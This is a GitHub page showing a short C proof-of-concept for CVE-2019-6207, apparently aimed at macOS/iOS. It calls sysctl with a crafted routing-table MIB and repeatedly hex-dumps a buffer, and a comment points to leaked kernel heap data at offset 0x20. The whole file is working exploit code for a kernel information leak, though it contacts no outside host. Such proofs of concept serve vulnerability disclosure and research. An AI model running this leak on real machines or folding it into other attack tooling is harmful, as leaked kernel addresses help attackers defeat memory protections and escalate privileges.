-
Notifications
You must be signed in to change notification settings - Fork 20
/
CVE-2019-6207.c
61 lines (51 loc) · 1.16 KB
/
CVE-2019-6207.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
//
// main.c
// rt_msghdr2_heapleak
//
// Created by maldiohead on 2018/12/28.
// Copyright © 2018 maldiohead. All rights reserved.
//
#include <sys/socket.h>
#include<sys/sysctl.h>
#include <sys/syscall.h>
#include <ctype.h>
#include <stdio.h>
#include <unistd.h>
int main(int argc, const char * argv[]) {
// insert code here...
int mib[6], maxproc;
size_t len;
mib[0] = CTL_NET;
mib[1] = 0x11;
mib[2]=0;
mib[3]=0x1e;
mib[4]=2;
mib[5]=2;
sysctl(mib, 6, NULL, &len, NULL, 0);
if(!len)
{
printf("[*]failed get len!\n");
return 0;
}
uint8_t* buf=malloc(len);
if(!buf)
{
printf("[*]failed alloc memory!\n");
return 0;
}
// note: the leaked kernel heap info at offset 0x20 size 4 bytes
printf("[*]buffer addr:0x%lx length 0x%x\n",buf,len);
while(1){
sysctl(mib, 6, buf, &len, NULL, 0);
printf("[*]show leaked data:");
for(int i=0;i<len;i++)
{
if( i%0x10==0)
printf("\n");
printf("%0.2x ",buf[i]);
}
printf("\n");
sleep(1);
}
return 0;
}